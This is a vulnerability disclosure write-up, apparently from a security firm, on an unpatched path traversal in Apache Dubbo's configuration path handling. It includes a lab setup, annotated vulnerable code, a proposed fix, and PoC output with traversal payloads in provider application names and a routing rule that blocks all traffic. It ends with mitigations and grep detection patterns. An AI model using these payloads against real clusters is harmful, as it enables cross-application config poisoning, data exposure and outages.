Responsible Disclosure
This vulnerability was identified by SecureLayer7 as part of our security research and was reported to the affected organization through our responsible disclosure process. We provided the affected organization with sufficient time to investigate, validate, and remediate the issue before considering public disclosure.
As of the date of publication, more than 90 days have elapsed since our initial disclosure, and we have not received a response or any indication that the issue has been addressed. Consistent with widely accepted responsible disclosure practices, we are publishing our findings to raise awareness, enable organizations to assess their exposure, and support the broader security community. The technical details presented in this article are intended solely for defensive and educational purposes.
Until an official fix or mitigation is made available by the affected organization, users are strongly encouraged to evaluate their exposure and implement appropriate compensating controls wherever possible. Depending on the deployment, these may include restricting access to the affected functionality through network segmentation, VPNs or IP allowlisting, enforcing strong authentication and least-privilege access, monitoring for suspicious activity, and, where practical, temporarily disabling or limiting access to the vulnerable component until a remediation is available.
Executive Summary
Finding ID: REMOTE-003 (novel — no CVE assigned)
CVSS Score: 7.5 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
Affected Versions: Apache Dubbo 3.0.0 through 3.3.6 (and 3.3.7-SNAPSHOT)
Fixed Version: Not yet patched
Vulnerability Type: Path Traversal → ZooKeeper Namespace Escape / Arbitrary Filesystem Access
CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
Introduction
REMOTE-003 is a high-severity path traversal vulnerability affecting the dynamic configuration subsystem of Apache Dubbo 3.3.x, the widely deployed Java RPC framework. This vulnerability allows an attacker with registry write access to escape the intended configuration namespace in ZooKeeper or traverse the filesystem, enabling cross-application configuration poisoning, credential theft from other tenants on the same ZooKeeper cluster, and service disruption through routing rule injection. The issue stems from an incomplete path normalization function — PathUtils.normalize() — that strips query strings and collapses double slashes but makes no attempt to handle ../ parent directory traversal sequences. Because this is the sole path sanitization guard in the entire configuration key construction chain, attacker-controlled data from provider URLs in the service registry flows through ProviderAppStateRouter.notify() → DefaultGovernanceRuleRepositoryImpl → TreePathDynamicConfiguration.buildPathKey() → backend storage sinks without any traversal detection at any layer. Authentication is not required when ZooKeeper runs in its default no-auth configuration. No patch currently exists; the vulnerability was discovered through original security research on the Dubbo 3.3 branch.
What is Apache Dubbo?
Apache Dubbo is a high-performance, Java-based RPC framework originally developed by Alibaba and donated to the Apache Software Foundation. It is the dominant microservice communication framework in the Chinese technology ecosystem and sees significant adoption globally, powering service-to-service communication at organizations operating at massive scale. Dubbo provides a rich set of infrastructure capabilities including service discovery via registries (ZooKeeper, Nacos, Consul), dynamic configuration via config centers, traffic management through a pluggable routing layer, load balancing, and observability integration.
The dynamic configuration subsystem is the component relevant to this vulnerability. Dubbo uses a tree-structured configuration model where routing rules, condition matchers, and application-level configuration are stored as key-value pairs in a hierarchical namespace. The default namespace layout for ZooKeeper is /dubbo/config/{group}/{key}, where group is typically “dubbo” and key is derived from the application name or service interface. The TreePathDynamicConfiguration abstract class provides the shared path construction logic used by both the ZooKeeper backend (ZookeeperDynamicConfiguration) and the filesystem backend (FileSystemDynamicConfiguration). Path construction relies exclusively on PathUtils.normalize() for sanitization, which creates a single point of failure when that function is incomplete.
The ProviderAppStateRouter is an auto-loaded SPI extension (registered as provider-app with @Activate(order=145)) that subscribes to routing rule changes for each provider application discovered through the registry. When a consumer discovers a new provider, ProviderAppStateRouter.notify() extracts the provider’s application name from the URL and uses it to construct a config center key. This is the primary entry point where attacker-controlled data from the registry enters the vulnerable path construction chain.
Lab Setup
This section describes how to reproduce the vulnerability in a controlled Docker-based environment. The lab reuses the existing RCE-001/002 infrastructure.
Step 1: Environment Setup
The lab uses Docker Compose to run ZooKeeper (config center + registry), a Dubbo 3.3.6 provider, and a Dubbo 3.3.6 consumer. All components use JDK 11.
# docker-compose.yml (from RCE-001_002_lab/)
services:
zookeeper:
image: zookeeper:3.8
container_name: rce-lab-zookeeper
ports:
- "2181:2181"
networks:
- dubbo-lab
dubbo-provider:
build:
context: .
dockerfile: provider/Dockerfile
container_name: rce-lab-provider
environment:
- ZOOKEEPER_ADDRESS=zookeeper
- DUBBO_IP_TO_REGISTRY=dubbo-provider
ports:
- "20880:20880"
- "50051:50051"
depends_on:
zookeeper:
condition: service_started
networks:
- dubbo-lab
dubbo-consumer:
build:
context: .
dockerfile: consumer/Dockerfile
container_name: rce-lab-consumer
environment:
- ZOOKEEPER_ADDRESS=zookeeper
- DUBBO_IP_TO_REGISTRY=dubbo-consumer
depends_on:
- dubbo-provider
networks:
- dubbo-lab
networks:
dubbo-lab:
driver: bridge
The provider and consumer are Spring Boot 2.7.18 applications using dubbo-spring-boot-starter 3.3.6 with ZooKeeper as registry, config center, and metadata store. The provider application name is rce-lab-provider and the consumer is rce-lab-consumer. The service interface is org.apache.dubbo.lab.DemoService.
Step 2: Build and Start
cd RCE-001_002_lab
docker compose build
docker compose up -d
Wait approximately 30 seconds for ZooKeeper to start and Dubbo services to register.
Step 3: Verification
Confirm the consumer is making successful RPC calls and ZooKeeper is accessible:
docker compose logs dubbo-consumer --tail=5
echo ruok | nc -w 2 127.0.0.1 2181
Expected output:
rce-lab-consumer | [RPC #42] Result: Hello world-42
imok
Set up the Python exploit environment:
cd ../REMOTE_003_LAB
python3 -m venv .venv
source .venv/bin/activate
pip install kazoo
Patch Diffing
Since REMOTE-003 is a novel 0-day finding with no existing patch, this section presents a vulnerability-vs-proposed-fix analysis. The vulnerability resides in a multi-layer path construction chain spanning 6 source files across 3 Dubbo modules. The root cause fix requires modifying 1 file (PathUtils.java), with defence-in-depth hardening recommended for 2 additional files.
The central flaw is in PathUtils.normalize(), a 14-line static method that serves as the sole path sanitization guard for the entire dynamic configuration subsystem. The method’s own Javadoc explicitly documents only two operations — query string removal and duplicate slash collapse — and the implementation faithfully matches this incomplete specification. Directory traversal handling was never part of the design, creating a fundamental gap between the method’s security role (path sanitizer) and its actual capability (cosmetic normalizer).
PathUtils.java — normalize() method:
// BEFORE (vulnerable — lines 55-69):
static String normalize(String path) {
if (isEmpty(path)) {
return SLASH;
}
String normalizedPath = path;
int index = normalizedPath.indexOf(QUESTION_MASK);
if (index > -1) {
normalizedPath = normalizedPath.substring(0, index); // strips ?query
}
while (normalizedPath.contains("//")) {
normalizedPath = replace(normalizedPath, "//", "/"); // collapses //
}
return normalizedPath;
// VULNERABILITY: ../ sequences pass through completely unhandled
}
// AFTER (proposed fix):
static String normalize(String path) {
if (isEmpty(path)) {
return SLASH;
}
String normalizedPath = path;
int index = normalizedPath.indexOf(QUESTION_MASK);
if (index > -1) {
normalizedPath = normalizedPath.substring(0, index);
}
while (normalizedPath.contains("//")) {
normalizedPath = replace(normalizedPath, "//", "/");
}
// FIX: Reject directory traversal sequences
if (normalizedPath.contains("/../") || normalizedPath.endsWith("/..")
|| normalizedPath.startsWith("../") || normalizedPath.equals("..")) {
throw new IllegalArgumentException(
"Path traversal sequences are not allowed: " + path);
}
return normalizedPath;
}
The proposed fix adds a straightforward ../ detection check after the existing normalization steps. By checking for /../ (mid-path), /.. (end-of-path), ../ (start-of-path), and .. (exact match), the fix covers all standard traversal patterns. The check is placed after double-slash collapse to prevent bypasses like /..%2f or /..// that could evade pattern matching on the raw input.
The Analysis
Attack Flow

Entry Point Analysis
The primary entry point is ProviderAppStateRouter.notify(), an auto-loaded SPI extension that fires whenever the consumer discovers providers through the ZooKeeper registry. The method extracts the provider’s application name from the URL via url.getRemoteApplication(), which reads the application parameter from the provider URL stored in ZooKeeper. An attacker with registry write access (ZooKeeper’s default configuration requires no authentication) can register a malicious provider URL containing an arbitrary application name, including one with ../ traversal sequences. The application name is concatenated with RULE_SUFFIX (.condition-router) to form a config key, which is then passed directly to getRuleRepository().addListener() without any character validation, length checking, or traversal detection.
ProviderAppStateRouter.java — notify() method:
@Override
public void notify(BitList<Invoker<T>> invokers) {
if (CollectionUtils.isEmpty(invokers)) {
return;
}
Invoker<T> invoker = invokers.get(0);
URL url = invoker.getUrl();
String providerApplication = url.getRemoteApplication();
// USER-CONTROLLED: providerApplication comes from registry provider URL
// An attacker sets application="../../victim-app" in the provider URL
if (isEmpty(providerApplication)) {
return; // Only emptiness check — no traversal validation
}
if (providerApplication.equals(currentApplication)) {
return; // Equality check against own app — irrelevant for traversal
}
synchronized (this) {
if (!providerApplication.equals(application)) {
String key = providerApplication + RULE_SUFFIX;
// VULNERABILITY: key = "../../victim-app.condition-router"
// MISSING CHECK: No validation of providerApplication for ../ or special chars
this.getRuleRepository().addListener(key, this);
// EXPLOITATION POINT: tainted key enters governance subsystem
application = providerApplication;
String rawRule = this.getRuleRepository().getRule(key, DynamicConfiguration.DEFAULT_GROUP);
if (StringUtils.isNotEmpty(rawRule)) {
this.process(new ConfigChangedEvent(key, DynamicConfiguration.DEFAULT_GROUP, rawRule));
}
}
}
}
Data Flow Analysis
The tainted data flows through four distinct layers without encountering any effective sanitization. From ProviderAppStateRouter.notify(), the key “../../victim-app.condition-router” is passed to DefaultGovernanceRuleRepositoryImpl.addListener(), which acts as a pure pass-through — it retrieves the DynamicConfiguration instance from the module model and forwards the key and group parameters without any inspection. The DynamicConfiguration.addListener() call reaches TreePathDynamicConfiguration.addListener(), which calls buildPathKey(group, key). This method invokes buildGroupPath(group) to produce “/dubbo/config/dubbo” and then calls PathUtils.buildPath() to join the group path with the tainted key using “/” as separator. The joined string “/dubbo/config/dubbo/../../victim-app.condition-router” is passed to PathUtils.normalize(), which only strips query strings and collapses // — the ../ sequences survive normalization completely intact. The resulting path is then passed to the concrete backend implementation.
TreePathDynamicConfiguration.java — buildPathKey() and addListener() methods:
@Override
public final void addListener(String key, String group, ConfigurationListener listener) {
String pathKey = buildPathKey(group, key);
// TAINTED DATA: key flows from ProviderAppStateRouter without sanitization
doAddListener(pathKey, listener, key, group);
// pathKey = "/dubbo/config/dubbo/../../victim-app.condition-router"
}
protected String buildPathKey(String group, String key) {
return buildPath(buildGroupPath(group), key);
// MISSING CHECK: No validation of key parameter before path construction
// buildPath() calls normalize() which does NOT handle ../
}
Core Vulnerability Analysis
The vulnerability is rooted in the semantic gap between PathUtils.normalize()’s intended security role and its actual implementation. The method is the sole path sanitization function in the entire config center subsystem — every path that reaches a storage backend passes through it. However, its implementation handles only two cosmetic normalizations (query string removal and double-slash collapse) and completely ignores the most fundamental path traversal technique: parent directory references via ../. The method’s Javadoc explicitly documents only these two operations, indicating this is not an oversight in implementation but a gap in the original security design. The buildPath() method that calls normalize() concatenates user-controlled input with the root path using string joining, creating a classic path traversal setup where an attacker-supplied key of “../../target” escapes the intended directory depth. In the ZooKeeper backend, the Apache Curator client library resolves ../ sequences in znode paths, meaning /dubbo/config/dubbo/../../victim-app.condition-router resolves to /dubbo/victim-app.condition-router. In the filesystem backend, java.io.File resolves ../ per the operating system’s path resolution rules, enabling arbitrary file read/write.
PathUtils.java — normalize() method (vulnerability root cause):
static String normalize(String path) {
if (isEmpty(path)) {
return SLASH;
}
String normalizedPath = path;
int index = normalizedPath.indexOf(QUESTION_MASK);
if (index > -1) {
normalizedPath = normalizedPath.substring(0, index);
// Handles: "path?query" → "path" (query stripped)
}
while (normalizedPath.contains("//")) {
normalizedPath = replace(normalizedPath, "//", "/");
// Handles: "path//to" → "path/to" (double slash collapsed)
}
return normalizedPath;
// VULNERABILITY: No handling of "../" traversal sequences
// Input: "/dubbo/config/dubbo/../../victim-app.condition-router"
// Output: "/dubbo/config/dubbo/../../victim-app.condition-router" (UNCHANGED)
// EXPLOITATION POINT: Path escapes intended /dubbo/config/dubbo/ namespace
}
ZookeeperDynamicConfiguration.java — doAddListener() and doGetConfig() methods (sinks):
@Override
protected void doAddListener(String pathKey, ConfigurationListener listener, String key, String group) {
ZookeeperDataListener cachedListener = cacheListener.getCachedListener(pathKey);
if (cachedListener != null) {
cachedListener.addListener(listener);
} else {
ZookeeperDataListener addedListener =
cacheListener.addListener(pathKey, listener, key, group, applicationModel);
zkClient.addDataListener(pathKey, addedListener, executor);
// EXPLOITATION POINT: pathKey contains unresolved ../ sequences
// ZK resolves: /dubbo/config/dubbo/../../X → /dubbo/X (namespace escape)
}
}
@Override
protected String doGetConfig(String pathKey) throws Exception {
return zkClient.getContent(pathKey);
// EXPLOITATION POINT: reads content from traversed ZK path
}
@Override
protected boolean doPublishConfig(String pathKey, String content) throws Exception {
zkClient.createOrUpdate(pathKey, content, false);
// EXPLOITATION POINT: writes attacker content to traversed ZK path
return true;
}
Impact Analysis
Successful exploitation enables three distinct attack outcomes depending on the backend and traversal depth. In the ZooKeeper backend (the production default), an attacker achieves namespace escape — the ability to read, write, and listen to ZooKeeper nodes outside the intended /dubbo/config/{group}/ namespace. This enables cross-application configuration poisoning, where the attacker writes malicious routing rules to another application’s config path, causing that application’s consumers to block all traffic or redirect it to attacker-controlled providers. The attacker can also read other applications’ configuration data (including potentially sensitive connection strings or credentials stored in ZooKeeper), probe ZooKeeper internal metadata nodes like /zookeeper/quota and /zookeeper/config, and register listeners on arbitrary paths for persistent reconnaissance. In the filesystem backend, the impact escalates to arbitrary file read and write within the JVM process’s permissions, which can lead to remote code execution via cron job injection, SSH authorized_keys manipulation, or overwriting application configuration files. The cross-application nature of this attack is particularly significant in shared ZooKeeper deployments (common in microservice architectures), where compromise of one application’s registry access enables poisoning of all co-tenanted applications.
Exploitation
The exploitation process requires only network access to ZooKeeper (port 2181, default: no authentication) and the Python kazoo library. The attack has three phases: validate the traversal primitive, demonstrate namespace escape, and perform cross-application config poisoning. All PoCs were validated against a live Dubbo 3.3.6 + ZooKeeper 3.8 lab environment.
Step 1: Validate the Traversal Primitive (poc4)
This step confirms the root cause by reimplementing PathUtils.normalize() in Python and verifying that ../ sequences pass through unchanged. This requires no network access.
python3 poc4_pathutils_normalize_test.py
Expected Output (excerpt):
[PASS] Single ../ — escapes to /dubbo/config/
key = "../escape-one.condition-router"
result = "/dubbo/config/dubbo/../escape-one.condition-router" [TRAVERSAL NOT BLOCKED]
[PASS] Double ../ — escapes to /dubbo/
key = "../../escape-two.condition-router"
result = "/dubbo/config/dubbo/../../escape-two.condition-router" [TRAVERSAL NOT BLOCKED]
[PASS] Triple ../ — escapes to ZK root /
key = "../../../escape-root.condition-router"
result = "/dubbo/config/dubbo/../../../escape-root.condition-router" [TRAVERSAL NOT BLOCKED]
Step 2: ZooKeeper Namespace Escape (poc1)
This step connects to ZooKeeper and writes a marker value to a path outside the intended /dubbo/config/dubbo/ namespace using ../ traversal, then reads it back to confirm the escape.
python3 poc1_zk_namespace_escape.py
The script writes to the resolved path /dubbo/namespace-escape-proof.condition-router, which is a sibling of /dubbo/config/ rather than a child of /dubbo/config/dubbo/. The ZK tree after execution shows the escaped node at an anomalous location.
Expected Output (excerpt):
[+] Created: /dubbo/namespace-escape-proof.condition-router
[+] SUCCESS — Read back: "REMOTE-003-traversal-proof"
[!] CONFIRMED: Path traversal escapes /dubbo/config/dubbo/ namespace
/dubbo/
├── config/
├── namespace-escape-proof.condition-router/ ← ESCAPED NODE
├── org.apache.dubbo.lab.DemoService/
Step 3: Cross-Application Config Poisoning (poc2)
This step demonstrates the highest-impact scenario: writing a poisoned routing rule to another application’s configuration path via traversal. The poisoned rule contains force: true and conditions: [“=> host != *”], which causes all RPC calls to the victim application to fail with “No provider available” errors.
python3 poc2_cross_app_config_poisoning.py
The script writes to both /dubbo/config/victim-app.condition-router (via traversal out of the dubbo group) and /dubbo/config/dubbo/victim-app.condition-router (direct in-namespace write), demonstrating that both cross-namespace and same-namespace poisoning are achievable.
Expected Output (excerpt):
[POISONED] Cross-namespace (traversal): /dubbo/config/victim-app.condition-router
Rule blocks ALL traffic (force=true, host != *)
[POISONED] In-namespace (direct): /dubbo/config/dubbo/victim-app.condition-router
Rule blocks ALL traffic (force=true, host != *)
Step 4: Malicious Provider Registration (poc3)
This step demonstrates the primary remote attack vector: registering fake Dubbo providers in ZooKeeper whose application URL parameter contains ../ traversal sequences. When the consumer discovers these providers, ProviderAppStateRouter.notify() processes them and passes the tainted application name into the governance subsystem.
python3 poc3_malicious_provider_registration.py
Four payloads are registered with increasing traversal depth (single ../, double ../../, triple ../../../, and a cross-app payload targeting the consumer’s own config namespace). Consumer logs confirm the malicious providers were accepted into the invoker list: Available Invokers : 10.0.0.100:20880,dubbo-provider:20880.
Expected Output (excerpt):
─── Payload 1: Single traversal ───
application = "../traversal-1"
[+] Registered in ZK
─── Current providers in ZK ───
/dubbo/org.apache.dubbo.lab.DemoService/providers: 5 nodes
[MALICIOUS] application="../../traversal-2"
[MALICIOUS] application="../../../dubbo/config/dubbo/rce-lab-consumer"
[MALICIOUS] application="../../../traversal-3"
[LEGIT] application="rce-lab-provider"
[MALICIOUS] application="../traversal-1"
Verify All Results
python3 verify.py
Expected Output:
REMOTE-003 Exploit Verification
─── PoC 1: ZK Namespace Escape ───
[CONFIRMED] Namespace escape marker
─── PoC 2: Cross-App Config Poisoning ───
[CONFIRMED] Cross-namespace poisoned config
[CONFIRMED] In-namespace poisoned config
─── PoC 3: Poisoned Rule at Traversed Path ───
[CONFIRMED] Poisoned rule at traversed path
Result: 4 confirmed / 5 checks
REMOTE-003 path traversal is CONFIRMED.
Mitigation
Immediate Actions
The immediate mitigation is to enable ZooKeeper authentication (SASL/Kerberos or digest-based ACLs) to prevent unauthorized registry and config center writes. While this does not fix the path traversal in Dubbo’s code, it removes the attacker’s ability to inject malicious provider URLs or write directly to config paths. Organizations should audit their ZooKeeper ACL configuration and restrict write access to only authenticated Dubbo service instances. For Nacos users, ensure that authentication is enabled and that the namespace isolation model is properly configured.
Code-Level Fix
The root cause fix requires adding ../ detection to PathUtils.normalize(). This is the minimal change with maximum coverage, as all config center path construction flows through this single method. The fix should reject paths containing traversal sequences rather than silently stripping them, to surface misconfiguration errors early.
PathUtils.java — secure normalize() method:
// SECURE version:
static String normalize(String path) {
if (isEmpty(path)) {
return SLASH;
}
String normalizedPath = path;
int index = normalizedPath.indexOf(QUESTION_MASK);
if (index > -1) {
normalizedPath = normalizedPath.substring(0, index);
}
while (normalizedPath.contains("//")) {
normalizedPath = replace(normalizedPath, "//", "/");
}
// Reject directory traversal sequences
if (normalizedPath.contains("/../") || normalizedPath.endsWith("/..")
|| normalizedPath.startsWith("../") || normalizedPath.equals("..")) {
throw new IllegalArgumentException(
"Path traversal sequences are not allowed in configuration paths: " + path);
}
return normalizedPath;
}
As defence-in-depth, add input validation at the DefaultGovernanceRuleRepositoryImpl gateway and canonical path containment at the FileSystemDynamicConfiguration sink. See diffing_results.md for the complete proposed patches.
Configuration Hardening
- Enable ZooKeeper ACLs: Configure digest or SASL authentication to restrict registry and config center write access to authenticated Dubbo instances only.
- Network segmentation: Restrict network access to ZooKeeper port 2181 to only Dubbo service hosts; do not expose ZooKeeper to untrusted networks.
- Separate registries: In multi-tenant deployments, use separate ZooKeeper clusters (or ZK namespace chroot) per application to limit the blast radius of cross-application attacks.
Detection and Monitoring
Monitor ZooKeeper access logs for path traversal patterns in znode operations. The following patterns indicate exploitation attempts:
# ZooKeeper audit log pattern (if audit logging is enabled)
grep -E '\.\./|\.\.\\' /var/log/zookeeper/zookeeper_audit.log
# Dubbo application logs — look for unusual application names
grep -E 'getRemoteApplication.*\.\.' /var/log/dubbo/dubbo.log
# ZooKeeper node creation outside expected namespaces
# Alert on any znode creation directly under /dubbo/ that is not:
# config, metadata, mapping, services, or a service interface name
Conclusion
REMOTE-003 demonstrates how an incomplete utility function can create a systemic vulnerability across an entire subsystem. The PathUtils.normalize() method was designed for cosmetic path cleanup — removing query strings and collapsing double slashes — but was deployed as the sole security guard for all configuration path construction. This semantic mismatch between the method’s purpose and its security role meant that the most fundamental path traversal technique (../) was never considered, let alone defended against. The result is a traversal primitive that reaches every operation in the dynamic configuration subsystem: reads, writes, deletes, and listener registrations across both ZooKeeper and filesystem backends.
The vulnerability violates several core security principles. Input validation is entirely absent at the trust boundary — the ProviderAppStateRouter.notify() method accepts the application parameter from external registry URLs and forwards it into the governance subsystem without any character validation. Defence-in-depth is lacking — neither the DefaultGovernanceRuleRepositoryImpl gateway nor the TreePathDynamicConfiguration path builder performs any independent validation, creating a chain of trust that depends on a single flawed function. The principle of least privilege is violated at the infrastructure level, as ZooKeeper’s default no-auth configuration allows any network-adjacent entity to register providers and write configuration.
The cross-application nature of this vulnerability is its most significant characteristic. In shared ZooKeeper deployments — the standard architecture for microservice clusters — compromising registry access for one application enables poisoning of every co-tenanted application’s routing configuration. This makes REMOTE-003 a force multiplier: a single point of registry access becomes a cluster-wide configuration manipulation primitive. Organizations running multi-tenant Dubbo clusters on shared ZooKeeper infrastructure should treat this as a high-priority finding and implement the recommended mitigations immediately, particularly ZooKeeper ACL enforcement and network segmentation.
References
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory — https://cwe.mitre.org/data/definitions/22.html
- OWASP Path Traversal: https://owasp.org/www-community/attacks/Path_Traversal
- Apache Dubbo Security Policy: https://dubbo.apache.org/en/docs/notices/security/